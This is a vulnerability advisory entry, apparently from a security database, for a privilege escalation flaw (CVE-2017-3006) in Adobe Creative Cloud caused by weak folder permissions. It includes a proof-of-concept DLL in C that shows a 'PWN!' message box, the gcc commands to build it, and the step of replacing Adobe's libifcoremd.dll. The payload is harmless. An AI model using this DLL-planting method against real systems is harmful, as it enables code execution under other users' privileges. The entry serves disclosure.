Adobe Creative Cloud desktop application 4. 0. 0. 185 elevation of privilege vulnerability, CVE-2017-3006）

2017-04-1700:00:00

Anonymous

www.seebug.org

0.029 Low

EPSS

Percentile

90.9%

JSON

Adobe CC uses weak insecure permissions settings on the “Adobe Photoshop dll & Startup Scripts” directories. This may allow authenticated users
to execute arbitrary code in the security context of ANY other users with elevated privileges on the affected system. Issue is the ‘C’ flag
(Change) for ‘Authenticated Users’ group.


                                                Compile below DLL 'C' code name it as "libifcoremd.dll"
Replace existing Adobe CC "libifcoremd.dll" file, wait for it to be referenced.


#include <windows.h>

BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){
  switch (reason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(NULL, NULL, "PWN!", MB_OK);  
    break;
  }
  return TRUE;
}


gcc -c libifcoremd.c
gcc -shared -o  libifcoremd.dll libifcoremd.o

0.029 Low

EPSS

Percentile

90.9%

JSON

Related for SSV:92963